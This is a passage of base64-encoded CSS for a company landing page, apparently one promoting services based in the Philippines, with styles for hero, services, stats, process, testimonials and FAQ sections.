HNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4zKTsgYm9yZGVyLXJhZGl1czogNTBweDsgZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IHBhZGRpbmctdG9wOiA4cHg7IH0KICAgICAgLnNjcm9sbC1pbmRpY2F0b3IgLmRvdCB7IHdpZHRoOiA2cHg7IGhlaWdodDogMTJweDsgYmFja2dyb3VuZDogdmFyKC0tcHJpbWFyeSk7IGJvcmRlci1yYWRpdXM6IDUwcHg7IGFuaW1hdGlvbjogc2Nyb2xsQm91bmNlIDJzIGluZmluaXRlOyB9CiAgICAgIEBrZXlmcmFtZXMgc2Nyb2xsQm91bmNlIHsgMCUsMTAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTsgfSA1MCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoOHB4KTsgfSB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAgIC5oZXJvIC5jb250YWluZXIgeyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjsgcGFkZGluZy10b3A6IDdyZW07IH0KICAgICAgICAuaGVyby1zdGF0cy1ncmlkIHsgZGlzcGxheTogbm9uZTsgfQogICAgICB9CgogICAgICAvKiDilZDilZDilZAgTUFSUVVFRSDilZDilZDilZAgKi8KICAgICAgLm1hcnF1ZWUtYmFyIHsgb3ZlcmZsb3c6IGhpZGRlbjsgcGFkZGluZzogMC44NzVyZW0gMDsgYmFja2dyb3VuZDogdmFyKC0tcHJpbWFyeSk7IH0KICAgICAgLm1hcnF1ZWUtdHJhY2sgeyBkaXNwbGF5OiBmbGV4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyBnYXA6IDNyZW07IGFuaW1hdGlvbjogbWFycXVlZVNjcm9sbCAyMHMgbGluZWFyIGluZmluaXRlOyB9CiAgICAgIC5tYXJxdWVlLXRyYWNrIHNwYW4geyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDAuOHJlbTsgZm9udC13ZWlnaHQ6IDYwMDsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGV0dGVyLXNwYWNpbmc6IDAuMTVlbTsgY29sb3I6IHJnYmEoMjU1LDI1NSwyNTUsMC44KTsgZGlzcGxheTogaW5saW5lLWZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGdhcDogMXJlbTsgZmxleC1zaHJpbms6IDA7IH0KICAgICAgLm1hcnF1ZWUtdHJhY2sgLmRvdCB7IHdpZHRoOiA4cHg7IGhlaWdodDogOHB4OyBib3JkZXItcmFkaXVzOiA1MCU7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDI1NSwyNTUsMC40KTsgZmxleC1zaHJpbms6IDA7IH0KICAgICAgQGtleWZyYW1lcyBtYXJxdWVlU2Nyb2xsIHsgMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMCk7IH0gMTAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKTsgfSB9CgogICAgICAvKiDilZDilZDilZAgU0VDVElPTiBTSEFSRUQg4pWQ4pWQ4pWQICovCiAgICAgIC5zZWN0aW9uLWxhYmVsIHsgZm9udC1zaXplOiAwLjc1cmVtOyBmb250LXdlaWdodDogNjAwOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsZXR0ZXItc3BhY2luZzogMC4yZW07IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgbWFyZ2luLWJvdHRvbTogMXJlbTsgfQogICAgICAuc2VjdGlvbi1oZWFkaW5nIHsgZm9udC1zaXplOiBjbGFtcCgxLjc1cmVtLCA0dncsIDIuNXJlbSk7IGZvbnQtd2VpZ2h0OiA3MDA7IGxpbmUtaGVpZ2h0OiAxLjE1OyB9CiAgICAgIC5zZWN0aW9uLWhlYWRpbmcgLmhpZ2hsaWdodCB7IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgfQoKICAgICAgLyog4pWQ4pWQ4pWQIFdITyBXRSBBUkUg4pWQ4pWQ4pWQICovCiAgICAgIC53aG8tc2VjdGlvbiB7IHBhZGRpbmc6IDZyZW0gMDsgfQogICAgICAud2hvLWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IGF1dG8gMWZyOyBnYXA6IDJyZW07IGFsaWduLWl0ZW1zOiBzdGFydDsgfQogICAgICAud2hvLWdyaWQgLmJpZy1udW0geyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDhyZW07IGxpbmUtaGVpZ2h0OiAxOyBmb250LXdlaWdodDogODAwOyBjb2xvcjogcmdiYSg1OSwxMzAsMjQ2LDAuMSk7IGRpc3BsYXk6IG5vbmU7IH0KICAgICAgLndoby1jb250ZW50IHsgbWF4LXdpZHRoOiA3MDBweDsgfQogICAgICAud2hvLWNvbnRlbnQgcC5kZXNjIHsgbWFyZ2luLXRvcDogMS41cmVtOyBmb250LXNpemU6IDEuMTI1cmVtOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyBsaW5lLWhlaWdodDogMS43OyB9CiAgICAgIC53aG8tY2FyZHMgeyBtYXJnaW4tdG9wOiAycmVtOyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxZnI7IGdhcDogMXJlbTsgfQogICAgICAud2hvLWNhcmQgeyBkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogc3RhcnQ7IGdhcDogMC43NXJlbTsgcGFkZGluZzogMXJlbTsgYm9yZGVyLXJhZGl1czogMTJweDsgYmFja2dyb3VuZDogdmFyKC0tc2Vjb25kYXJ5LWJnKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsgfQogICAgICAud2hvLWNhcmQgLmljb24tYm94IHsgd2lkdGg6IDQwcHg7IGhlaWdodDogNDBweDsgYm9yZGVyLXJhZGl1czogOHB4OyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4xKTsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IGZsZXgtc2hyaW5rOiAwOyBjb2xvcjogdmFyKC0tcHJpbWFyeSk7IGZvbnQtc2l6ZTogMS4yNXJlbTsgfQogICAgICAud2hvLWNhcmQgaDMgeyBmb250LXNpemU6IDAuODc1cmVtOyBmb250LXdlaWdodDogNjAwOyB9CiAgICAgIC53aG8tY2FyZCBwIHsgZm9udC1zaXplOiAwLjc1cmVtOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyBtYXJnaW4tdG9wOiAwLjI1cmVtOyB9CiAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA3NjlweCkgeyAud2hvLWdyaWQgLmJpZy1udW0geyBkaXNwbGF5OiBibG9jazsgfSB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgeyAud2hvLWNhcmRzIHsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7IH0gfQoKICAgICAgLyog4pWQ4pWQ4pWQIFNFUlZJQ0VTIOKAlCBiZW50byBncmlkIOKVkOKVkOKVkCAqLwogICAgICAuc2VydmljZXMtc2VjdGlvbiB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgcGFkZGluZzogNnJlbSAwOyB9CiAgICAgIC5zZXJ2aWNlcy1zZWN0aW9uIC5iZy1jbGlwIHsgcG9zaXRpb246IGFic29sdXRlOyBpbnNldDogMDsgYmFja2dyb3VuZDogdmFyKC0tc2Vjb25kYXJ5LWJnKTsgY2xpcC1wYXRoOiBwb2x5Z29uKDAgMyUsIDEwMCUgMCUsIDEwMCUgOTclLCAwJSAxMDAlKTsgfQogICAgICAuc2VydmljZXMtc2VjdGlvbiAuY29udGFpbmVyIHsgcG9zaXRpb246IHJlbGF0aXZlOyB6LWluZGV4OiAxOyB9CiAgICAgIC5zZXJ2aWNlcy1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoMywgMWZyKTsgZ2FwOiAxcmVtOyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQgeyBkaXNwbGF5OiBibG9jazsgb3ZlcmZsb3c6IGhpZGRlbjsgYm9yZGVyLXJhZGl1czogMTZweDsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsgYmFja2dyb3VuZDogdmFyKC0tY2FyZCk7IHRyYW5zaXRpb246IGFsbCAwLjNzOyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQ6aG92ZXIgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTRweCk7IGJvcmRlci1jb2xvcjogcmdiYSg1OSwxMzAsMjQ2LDAuMyk7IH0KICAgICAgLnNlcnZpY2UtY2FyZCAuaW1nLXdyYXAgeyBvdmVyZmxvdzogaGlkZGVuOyBoZWlnaHQ6IDE3NnB4OyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQgLmltZy13cmFwIGltZyB7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IG9iamVjdC1maXQ6IGNvdmVyOyB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gMC43czsgfQogICAgICAuc2VydmljZS1jYXJkOmhvdmVyIC5pbWctd3JhcCBpbWcgeyB0cmFuc2Zvcm06IHNjYWxlKDEuMSk7IH0KICAgICAgLnNlcnZpY2UtY2FyZCAuY2FyZC1ncmFkaWVudCB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaW5zZXQ6IDA7IGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byB0b3AsIHZhcigtLWNhcmQpIDAlLCByZ2JhKDI1NSwyNTUsMjU1LDAuMykgNjAlLCB0cmFuc3BhcmVudCAxMDAlKTsgfQogICAgICAuc2VydmljZS1jYXJkIC5ib2R5IHsgcGFkZGluZzogMS41cmVtOyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgICAgLnNlcnZpY2UtY2FyZCAuaWNvbi1ib3ggeyB3aWR0aDogNDBweDsgaGVpZ2h0OiA0MHB4OyBib3JkZXItcmFkaXVzOiAxMnB4OyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4xKTsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IG1hcmdpbi1ib3R0b206IDAuNzVyZW07IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgZm9udC1zaXplOiAxLjI1cmVtOyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQgaDMgeyBmb250LXNpemU6IDEuMTI1cmVtOyBmb250LXdlaWdodDogNzAwOyB0cmFuc2l0aW9uOiBjb2xvciAwLjNzOyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQ6aG92ZXIgaDMgeyBjb2xvcjogdmFyKC0tcHJpbWFyeSk7IH0KICAgICAgLnNlcnZpY2UtY2FyZCBwIHsgbWFyZ2luLXRvcDogMC41cmVtOyBmb250LXNpemU6IDAuODc1cmVtOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyBsaW5lLWhlaWdodDogMS43OyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQgLmxlYXJuLW1vcmUgeyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAwLjI1cmVtOyBtYXJnaW4tdG9wOiAxcmVtOyBmb250LXNpemU6IDAuNzVyZW07IGZvbnQtd2VpZ2h0OiA2MDA7IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgb3BhY2l0eTogMDsgdHJhbnNpdGlvbjogb3BhY2l0eSAwLjNzOyB9CiAgICAgIC5zZXJ2aWNlLWNhcmQ6aG92ZXIgLmxlYXJuLW1vcmUgeyBvcGFjaXR5OiAxOyB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgeyAuc2VydmljZXMtZ3JpZCB7IGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyOyB9IH0KCiAgICAgIC8qIOKVkOKVkOKVkCBTVEFUUyDigJQgZGFyayBiYW5kIOKVkOKVkOKVkCAqLwogICAgICAuc3RhdHMtYmFuZCB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgb3ZlcmZsb3c6IGhpZGRlbjsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdmFyKC0tbmF2eSkgMCUsIGhzbCgyMTUgNjAlIDIwJSkgMTAwJSk7IHBhZGRpbmc6IDRyZW0gMDsgfQogICAgICAuc3RhdHMtYmFuZCAuZ2xvdyB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaW5zZXQ6IDA7IGJhY2tncm91bmQ6IHJhZGlhbC1ncmFkaWVudChjaXJjbGUgYXQgMjAlIDUwJSwgcmdiYSg1OSwxMzAsMjQ2LDAuMTUpIDAlLCB0cmFuc3BhcmVudCA1MCUpOyBvcGFjaXR5OiAwLjU7IH0KICAgICAgLnN0YXRzLWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdCg0LCAxZnIpOyBnYXA6IDJyZW07IHRleHQtYWxpZ246IGNlbnRlcjsgcG9zaXRpb246IHJlbGF0aXZlOyB6LWluZGV4OiAxOyB9CiAgICAgIC5zdGF0LWl0ZW0gLnN0YXQtaWNvbiB7IGZvbnQtc2l6ZTogMS43NXJlbTsgY29sb3I6IHZhcigtLXByaW1hcnkpOyBvcGFjaXR5OiAwLjY7IG1hcmdpbi1ib3R0b206IDAuNzVyZW07IH0KICAgICAgLnN0YXQtaXRlbSAuc3RhdC12YWx1ZSB7IGZvbnQtZmFtaWx5OiAnU3BhY2UgR3JvdGVzaycsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogY2xhbXAoMnJlbSwgNHZ3LCAzcmVtKTsgZm9udC13ZWlnaHQ6IDgwMDsgY29sb3I6IHZhcigtLW5hdnktZmcpOyB9CiAgICAgIC5zdGF0LWl0ZW0gLnN0YXQtbGFiZWwgeyBmb250LXNpemU6IDAuODc1cmVtOyBjb2xvcjogcmdiYSgyNTUsMjU1LDI1NSwwLjUpOyBtYXJnaW4tdG9wOiAwLjVyZW07IH0KICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7IC5zdGF0cy1ncmlkIHsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyOyB9IH0KCiAgICAgIC8qIOKVkOKVkOKVkCBXSFkgUEhJTElQUElORVMg4oCUIGFzeW1tZXRyaWMg4pWQ4pWQ4pWQICovCiAgICAgIC53aHktc2VjdGlvbiB7IHBhZGRpbmc6IDZyZW0gMDsgfQogICAgICAud2h5LWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxLjNmcjsgZ2FwOiA0cmVtOyBhbGlnbi1pdGVtczogY2VudGVyOyB9CiAgICAgIC53aHktaW1hZ2Utd3JhcCB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgICAud2h5LWltYWdlLXdyYXAgaW1nIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogNDUwcHg7IG9iamVjdC1maXQ6IGNvdmVyOyBib3JkZXItcmFkaXVzOiAxNnB4OyB9CiAgICAgIC53aHktaW1hZ2Utd3JhcCAuZmxvYXRpbmctY2FyZCB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgYm90dG9tOiAtMjRweDsgcmlnaHQ6IC0yNHB4OyBiYWNrZ3JvdW5kOiB2YXIoLS1jYXJkKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsgYm9yZGVyLXJhZGl1czogMTZweDsgcGFkZGluZzogMS4yNXJlbTsgYm94LXNoYWRvdzogMCAxMHB4IDQwcHggcmdiYSgwLDAsMCwwLjEpOyBtYXgtd2lkdGg6IDIyMHB4OyB9CiAgICAgIC53aHktaW1hZ2Utd3JhcCAuZmxvYXRpbmctY2FyZCAuZmMtdmFsdWUgeyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEuNXJlbTsgZm9udC13ZWlnaHQ6IDcwMDsgY29sb3I6IHZhcigtLXByaW1hcnkpOyB9CiAgICAgIC53aHktaW1hZ2Utd3JhcCAuZmxvYXRpbmctY2FyZCAuZmMtbGFiZWwgeyBmb250LXNpemU6IDAuNzVyZW07IGNvbG9yOiB2YXIoLS1tdXRlZCk7IG1hcmdpbi10b3A6IDAuMjVyZW07IH0KICAgICAgLnJlYXNvbi1pdGVtIHsgZGlzcGxheTogZmxleDsgZ2FwOiAxcmVtOyBtYXJnaW4tYm90dG9tOiAxLjI1cmVtOyB9CiAgICAgIC5yZWFzb24taXRlbSAuY2hlY2stYm94IHsgd2lkdGg6IDMycHg7IGhlaWdodDogMzJweDsgYm9yZGVyLXJhZGl1czogOHB4OyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4xKTsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IGZsZXgtc2hyaW5rOiAwOyBjb2xvcjogdmFyKC0tcHJpbWFyeSk7IGZvbnQtd2VpZ2h0OiA3MDA7IH0KICAgICAgLnJlYXNvbi1pdGVtIGgzIHsgZm9udC13ZWlnaHQ6IDYwMDsgfQogICAgICAucmVhc29uLWl0ZW0gcCB7IGZvbnQtc2l6ZTogMC44NzVyZW07IGNvbG9yOiB2YXIoLS1tdXRlZCk7IG1hcmdpbi10b3A6IDAuMjVyZW07IGxpbmUtaGVpZ2h0OiAxLjY7IH0KICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7IC53aHktZ3JpZCB7IGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyOyB9IC53aHktaW1hZ2Utd3JhcCAuZmxvYXRpbmctY2FyZCB7IHJpZ2h0OiAwOyB9IH0KCiAgICAgIC8qIOKVkOKVkOKVkCBQUk9DRVNTIOKAlCB0aW1lbGluZSDilZDilZDilZAgKi8KICAgICAgLnByb2Nlc3Mtc2VjdGlvbiB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgcGFkZGluZzogNnJlbSAwOyB9CiAgICAgIC5wcm9jZXNzLXNlY3Rpb24gLmJnLWNsaXAgeyBwb3NpdGlvbjogYWJzb2x1dGU7IGluc2V0OiAwOyBiYWNrZ3JvdW5kOiB2YXIoLS1zZWNvbmRhcnktYmcpOyBjbGlwLXBhdGg6IHBvbHlnb24oMCA1JSwgMTAwJSAwJSwgMTAwJSAxMDAlLCAwJSA5NSUpOyB9CiAgICAgIC5wcm9jZXNzLXNlY3Rpb24gLmNvbnRhaW5lciB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgei1pbmRleDogMTsgfQogICAgICAucHJvY2Vzcy1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoNCwgMWZyKTsgZ2FwOiAxLjVyZW07IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgICAucHJvY2Vzcy1ncmlkIC5jb25uZWN0aW5nLWxpbmUgeyBkaXNwbGF5OiBub25lOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogMzBweDsgbGVmdDogMTIuNSU7IHJpZ2h0OiAxMi41JTsgaGVpZ2h0OiAycHg7IGJhY2tncm91bmQ6IHZhcigtLWJvcmRlcik7IH0KICAgICAgLnByb2Nlc3MtY2FyZCB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgdGV4dC1hbGlnbjogY2VudGVyOyB9CiAgICAgIC5wcm9jZXNzLWNhcmQgLnN0ZXAtY2lyY2xlIHsgcG9zaXRpb246IHJlbGF0aXZlOyB6LWluZGV4OiAyOyB3aWR0aDogNTJweDsgaGVpZ2h0OiA1MnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IGJhY2tncm91bmQ6IHZhcigtLXByaW1hcnkpOyBkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgbWFyZ2luOiAwIGF1dG8gMS41cmVtOyBib3gtc2hhZG93OiAwIDRweCAyMHB4IHJnYmEoNTksMTMwLDI0NiwwLjMpOyB9CiAgICAgIC5wcm9jZXNzLWNhcmQgLnN0ZXAtY2lyY2xlIHNwYW4geyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDAuODc1cmVtOyBmb250LXdlaWdodDogNzAwOyBjb2xvcjogdmFyKC0tcHJpbWFyeS1mZyk7IH0KICAgICAgLnByb2Nlc3MtY2FyZCBoMyB7IGZvbnQtc2l6ZTogMS4xMjVyZW07IGZvbnQtd2VpZ2h0OiA3MDA7IH0KICAgICAgLnByb2Nlc3MtY2FyZCBwIHsgbWFyZ2luLXRvcDogMC41cmVtOyBmb250LXNpemU6IDAuODc1cmVtOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyBsaW5lLWhlaWdodDogMS42OyB9CiAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxMDI0cHgpIHsgLnByb2Nlc3MtZ3JpZCAuY29ubmVjdGluZy1saW5lIHsgZGlzcGxheTogYmxvY2s7IH0gLnByb2Nlc3MtY2FyZCB7IHRleHQtYWxpZ246IGxlZnQ7IH0gLnByb2Nlc3MtY2FyZCAuc3RlcC1jaXJjbGUgeyBtYXJnaW46IDAgMCAxLjVyZW0gMDsgfSB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgeyAucHJvY2Vzcy1ncmlkIHsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyOyB9IH0KICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDQ4MHB4KSB7IC5wcm9jZXNzLWdyaWQgeyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjsgfSB9CgogICAgICAvKiDilZDilZDilZAgVEVTVElNT05JQUxTIOKVkOKVkOKVkCAqLwogICAgICAudGVzdGltb25pYWxzLXNlY3Rpb24geyBwYWRkaW5nOiA2cmVtIDA7IH0KICAgICAgLnRlc3RpbW9uaWFscy1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoMywgMWZyKTsgZ2FwOiAxLjVyZW07IG1heC13aWR0aDogMTAwMHB4OyBtYXJnaW46IDAgYXV0bzsgfQogICAgICAudGVzdGltb25pYWwtY2FyZCB7IHBvc2l0aW9uOiByZWxhdGl2ZTsgYmFja2dyb3VuZDogdmFyKC0tY2FyZCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGJvcmRlci1yYWRpdXM6IDE2cHg7IHBhZGRpbmc6IDJyZW07IHRyYW5zaXRpb246IGFsbCAwLjNzOyB9CiAgICAgIC50ZXN0aW1vbmlhbC1jYXJkOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiByZ2JhKDU5LDEzMCwyNDYsMC4zKTsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC00cHgpOyB9CiAgICAgIC50ZXN0aW1vbmlhbC1jYXJkIC5iaWctcXVvdGUgeyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogMTZweDsgcmlnaHQ6IDI0cHg7IGZvbnQtZmFtaWx5OiAnU3BhY2UgR3JvdGVzaycsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogNXJlbTsgbGluZS1oZWlnaHQ6IDE7IGNvbG9yOiByZ2JhKDU5LDEzMCwyNDYsMC4wNSk7IHVzZXItc2VsZWN0OiBub25lOyB9CiAgICAgIC50ZXN0aW1vbmlhbC1jYXJkIC5zdGFycyB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNHB4OyBtYXJnaW4tYm90dG9tOiAxcmVtOyBjb2xvcjogcmdiYSg1OSwxMzAsMjQ2LDAuNyk7IGZvbnQtc2l6ZTogMC44NzVyZW07IH0KICAgICAgLnRlc3RpbW9uaWFsLWNhcmQgLnF1b3RlLXRleHQgeyBmb250LXNpemU6IDAuODc1cmVtOyBsaW5lLWhlaWdodDogMS43OyBmb250LXN0eWxlOiBpdGFsaWM7IHBvc2l0aW9uOiByZWxhdGl2ZTsgei1pbmRleDogMTsgfQogICAgICAudGVzdGltb25pYWwtY2FyZCAuYXV0aG9yIHsgbWFyZ2luLXRvcDogMS41cmVtOyBwYWRkaW5nLXRvcDogMXJlbTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IH0KICAgICAgLnRlc3RpbW9uaWFsLWNhcmQgLmF1dGhvci1uYW1lIHsgZm9udC1mYW1pbHk6ICdTcGFjZSBHcm90ZXNrJywgc2Fucy1zZXJpZjsgZm9udC13ZWlnaHQ6IDcwMDsgZm9udC1zaXplOiAwLjg3NXJlbTsgfQogICAgICAudGVzdGltb25pYWwtY2FyZCAuYXV0aG9yLXJvbGUgeyBmb250LXNpemU6IDAuNzVyZW07IGNvbG9yOiB2YXIoLS1tdXRlZCk7IH0KICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7IC50ZXN0aW1vbmlhbHMtZ3JpZCB7IGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyOyB9IH0KCiAgICAgIC8qIOKVkOKVkOKVkCBGQVEg4oCUIHNpZGUgYnkgc2lkZSDilZDilZDilZAgKi8KICAgICAgLmZhcS1zZWN0aW9uIHsgcG9zaXRpb246IHJlbGF0aXZlOyBwYWRkaW5nOiA2cmVtIDA7IH0KICAgICAgLmZhcS1zZWN0aW9uIC5iZyB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaW5zZXQ6IDA7IGJhY2tncm91bmQ6IHZhcigtLXNlY29uZGFyeS1iZyk7IH0KICAgICAgLmZhcS1zZWN0aW9uIC5jb250YWluZXIgeyBwb3NpdGlvbjogcmVsYXRpdmU7IHotaW5kZXg6IDE7IH0KICAgICAgLmZhcS1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMS41ZnI7IGdhcDogNHJlbTsgYWxpZ24taXRlbXM6IHN0YXJ0OyB9CiAgICAgIC5mYXEtZ3JpZCAuZmFxLWludHJvIGEgeyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAwLjVyZW07IG1hcmdpbi10b3A6IDEuNXJlbTsgZm9udC1zaXplOiAwLjg3NXJlbTsgZm9udC13ZWlnaHQ6IDYwMDsgY29sb3I6IHZhcigtLXByaW1hcnkpOyB9CiAgICAgIC5mYXEtZ3JpZCAuZmFxLWludHJvIGE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQogICAgICAuZmFxLWl0ZW0geyBiYWNrZ3JvdW5kOiB2YXIoLS1jYXJkKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsgYm9yZGVyLXJhZGl1czogMTJweDsgbWFyZ2luLWJvdHRvbTogMC43NXJlbTsgb3ZlcmZsb3c6IGhpZGRlbjsgfQogICAgICAuZmFxLWl0ZW0gc3VtbWFyeSB7IHBhZGRpbmc6IDEuMjVyZW0gMS41cmVtOyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXdlaWdodDogNTAwOyBmb250LXNpemU6IDAuODc1cmVtOyBjdXJzb3I6IHBvaW50ZXI7IGxpc3Qtc3R5bGU6IG5vbmU7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQogICAgICAuZmFxLWl0ZW0gc3VtbWFyeTo6LXdlYmtpdC1kZXRhaWxzLW1hcmtlciB7IGRpc3BsYXk6IG5vbmU7IH0KICAgICAgLmZhcS1pdGVtIHN1bW1hcnk6OmFmdGVyIHsgY29udGVudDogIisiOyBmb250LXNpemU6IDEuMjVyZW07IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgdHJhbnNpdGlvbjogdHJhbnNmb3JtIDAuMnM7IH0KICAgICAgLmZhcS1pdGVtW29wZW5dIHN1bW1hcnk6OmFmdGVyIHsgY29udGVudDogIuKIkiI7IH0KICAgICAgLmZhcS1pdGVtW29wZW5dIHsgYm9yZGVyLWNvbG9yOiByZ2JhKDU5LDEzMCwyNDYsMC4zKTsgfQogICAgICAuZmFxLWl0ZW0gLmZhcS1hbnN3ZXIgeyBwYWRkaW5nOiAwIDEuNXJlbSAxLjI1cmVtOyBmb250LXNpemU6IDAuODc1cmVtOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyBsaW5lLWhlaWdodDogMS43OyB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgeyAuZmFxLWdyaWQgeyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjsgfSB9CgogICAgICAvKiDilZDilZDilZAgQ1RBIOKVkOKVkOKVkCAqLwogICAg